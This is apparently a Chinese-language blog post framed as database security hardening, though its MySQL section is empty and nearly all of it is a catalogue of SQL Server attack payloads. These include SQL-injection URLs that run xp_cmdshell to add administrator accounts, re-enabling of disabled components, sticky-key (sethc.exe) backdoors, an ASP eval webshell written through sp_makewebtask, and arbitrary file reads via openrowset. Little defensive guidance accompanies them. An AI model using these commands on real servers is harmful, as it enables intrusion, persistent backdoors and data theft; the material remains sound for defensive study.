Database(Mysql、Sqlserver) Configuration Security Reinforcement

Andrew.Hann發表於2015-03-09

目錄

1. 引言
2. Mysql
3. Sqlserver

 

1. 引言

黑客獲取了資料庫的帳號密碼之後,就可以通過Database Client登入資料庫,利用SQL指令、資料庫指令執行元件進行進一步的提權滲透操作

 

2. Mysql

3. Sqlserver

0x1: 指令執行加固

1. 建立系統賬戶

利用MSSQL的指令碼命令提權,前提是我們要能夠以SA或者具有SA許可權的使用者的身份登入進去,可以使用弱口令猜解或者利用sql注入點來執行指令碼命令,新增sa賬戶

1. 建立系統賬戶
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"--
/*
因為MSSQL的查詢語句允許一條指令中包含兩條的命令,所以可以利用這個sql注入漏洞來執行指令碼命令

如果出現:
SQL Server 阻止了對元件 'xp_cmdshell' 的過程'sys.xp_cmdshell' 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細資訊,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。 
則必須先開啟xp_cmdshell的元件

EXEC master..xp_cmdshell 'ipconfig'
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
*/

Relevant Link:

http://wenku.baidu.com/view/f32d873331126edb6f1a1022.html?qq-pf-to=pcqq.c2c
http://baike.baidu.com/view/3637250.htm?qq-pf-to=pcqq.c2c
http://baike.baidu.com/link?url=jAh-Wu-HPBPl6X88gNr7oKf80ilat5H_XA37jIO81MT60_HJiKsEIy3VFioX7M1HWT_Jt_O-GPygEoyob6DH6K&qq-pf-to=pcqq.c2c
http://www.51safe.net/article/Skills/mssql-injection-conmmand.htm

2. 建立資料庫的登入賬戶(注意和系統的登入賬戶區分開來)

exec master.dbo.sp_addlogin little,123456;--
go
exec master.dbo.sp_addsrvrolemember little,sysadmin;--
go

3. 開啟3389或者telnet
這裡注意一下,telnet的服務名不是telnet,而是tlntsvr,我們要命令開啟服務的時候要輸入的是這個伺服器名tlntsvr,而不是顯示名telnet

//telnet
xp_servicecontrol 'start','tlntsvr'

如果開啟了telnet服務之後,我們用系統賬戶去登入出現了下面的提示:
Failure in initializing the telnet session. Shell process may not have been laun
ched.
Telnet Server has closed the connection
則可以嘗試再開啟:seclogon服務
xp_servicecontrol 'start','seclogon'
可能能解決問題

//3389遠端桌面的服務名是:termservice
xp_servicecontrol 'start','termservice'

4. sp_oacreate

1. 建立使用者
use master 
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'cmd /c "net user little 123456 /add"'

2. 開啟服務
use master 
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'cmd /c "net start tlntsvr"'
//cmd命令可以任意

/*
如果出現:
SQL Server 阻止了對元件 'Ole Automation Procedures' 的 過程'sys.sp_OACreate' 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'Ole Automation Procedures'。有關啟用 'Ole Automation Procedures' 的詳細資訊,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"
可以嘗試開啟 Ole Automation Procedures 元件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'Ole Automation Procedures';
GO
*/

5. scripting.filesystemobject

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
/*
這樣在3389的登入視窗處就等於佈置下了一個後門,只要按5此shift鍵就能觸發後門,而且,以這種方式登入的許可權是NT系統許可權,比administrator大一些
*/

6. Shell.Application

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user little /add','c:\windows\system32','',1;

7. Shell.Application

1. 開啟SQLSERVERAGENT服務
利用JOB執行命令,有一個先決條件就是開啟SQLSERVERAGENT服務
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

2. 執行指令 
use msdb 
create table [jncsql](resulttxt nvarchar(1024) null) 
exec sp_delete_job null,'x' exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user little /add"' 
exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';

8. SandBoxMode(沙盒模式)

在access裡呼叫VBS的shell函式,以system許可權執行任何命令

1. 開啟SandBoxmode
//使用這個函式之前必須把登錄檔裡的SandBoxmode開關開啟
登錄檔:
HKEY_LOCAL_MACHINE\SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode' 
預設值為2,這個人鍵值為0表示開啟
    1) 修復登錄檔的讀寫
    use master
    go
    dbcc addextendedproc ('xp_regread','xpstar.dll')
    dbcc addextendedproc ('xp_regwrite','xpstar.dll')

    2) 修改沙盒的保護模式
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

2. 檢視'SandBoxMode'值是否已經變成0了(1或0都可以執行命令)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'

3. 最後呼叫沙盒模式
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=C:\windows\system32\ias\ias.mdb','select shell("net user little 123456 /add")');

4. cmd.exe的許可權不對,是不會有回顯的
最終的提權辦法就是在當前的web目錄下面上傳系統的ias.mdb和cmd.exe,net.exe三個檔案。執行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:\web\ias.mdb','select shell("E:\web\cmd.exe /c E:\web\net.exe user user little 123456 /add")')

5. 可以輸入一下命令來執行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
EXEC master..xp_regread  HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user little 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators little /add")')
/*
如果出現:
SQL Server 阻止了對元件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'Ad Hoc Distributed Queries'。有關啟用 'Ad Hoc Distributed Queries' 的詳細資訊,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"嘗試:
啟用Ad Hoc Distributed Queries: 
exec sp_configure 'show advanced options',1  
reconfigure  
exec sp_configure 'Ad Hoc Distributed Queries',1  
reconfigure   

使用完成後,關閉Ad Hoc Distributed Queries: 
exec sp_configure 'Ad Hoc Distributed Queries',0  
reconfigure  
exec sp_configure 'show advanced options',0  
reconfigure  
*/

Relevant Link:

http://security.zdnet.com.cn/security_zone/2011/0808/2051363.shtml

9. 直接備份一句話木馬

exec sp_makewebtask 'WEB絕對路徑/fuck.asp',' select ''<%eval request("op")%>'' ';--
//WEB與DATA在同一主機,知道WEB目錄 

例如:
exec sp_makewebtask 'C:\Inetpub\wwwroot\fuck.asp',' select ''<%eval request("op")%>'' ';--

/*
如果出現了:
SQL Server 阻止了對元件 'Web Assistant Procedures' 的 過程'sys.xp_makewebtask' 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'Web Assistant Procedures'。有關啟用 'Web Assistant Procedures' 的詳細資訊,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。 

可以嘗試
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Web Assistant Procedures', 1;
GO
RECONFIGURE
GO
*/

10. 操作登錄檔

除了xp_cmdshell外,還有一些其他的儲存過程對攻擊過程也是有幫助的。比如xp_regread可以操作登錄檔

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\services\LanmanServer\Parameters', 'Guid'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

11. 其他命令

1. xp_servicecontrol: 允許使用者啟動、停止服務
exec master..xp_servicecontrol 'start', 'schedule'

2. exec master..xp_availablemedia: 顯示機器上有用的驅動器

3. exec master..xp_dirtree: 允許獲得一個目錄樹

4. exec master..xp_enumdsn: 列舉伺服器上的ODBC資料來源

5. exec master..xp_loginconfig: 獲取伺服器上的安全資訊

6. exec master..xp_makecab: 允許使用者在伺服器上建立一個壓縮檔案

7. exec master..xp_ntsec_enumdomains: 列舉伺服器可以進入的域

8. exec master..xp_terminate_process: 提供程式的程式ID,終止此程式

12.利用openrowset讀取敏感資料

要完成這個攻擊,有幾個必要條件

1. sqlserver具有操作system目錄、檔案的許可權
2. 黑客得到了sqlserver的帳號、密碼

利用sqlserver的檔案IO操作功能,進行二進位制流的操作,將cmd.exe檔案覆蓋到粘滯鍵程式中,形成shift後門

select * from openrowset(BULK N'C:\WINDOWS\system32\cmd.exe', SINGLE_BLOB) AS Contents  
select * from openrowset(BULK N'C:\secret.txt', SINGLE_CLOB) AS Contents 

13. 登錄檔劫持貼上鍵

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
 Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

14. sp_oacreate替換貼上鍵

declare @o int
 exec sp_oacreate 'scripting.filesystemobject', @o out
 exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
 declare @oo int
 exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

15. public許可權提權操作

USE msdb
 EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
 @enabled = 1,
 @description = 'This will give a low privileged user access to
 xp_cmdshell',
 @delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
 @step_name = 'Exec my sql',
 @subsystem = 'TSQL',
 @command = 'exec master..xp_execresultset N''select ''''exec
 master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
 EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
 @server_name = 'SERVER_NAME'
 EXEC sp_start_job @job_name = 'GetSystemOnSQL'

16. sp_OACreate載入COM元件shell.user加管理員使用者

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

Relevant Link:

http://blog.csdn.net/it_zen/article/details/1545725
http://www.2cto.com/Article/201112/112946.html

 

Copyright (c) 2014 LittleHann All rights reserved

 

相關文章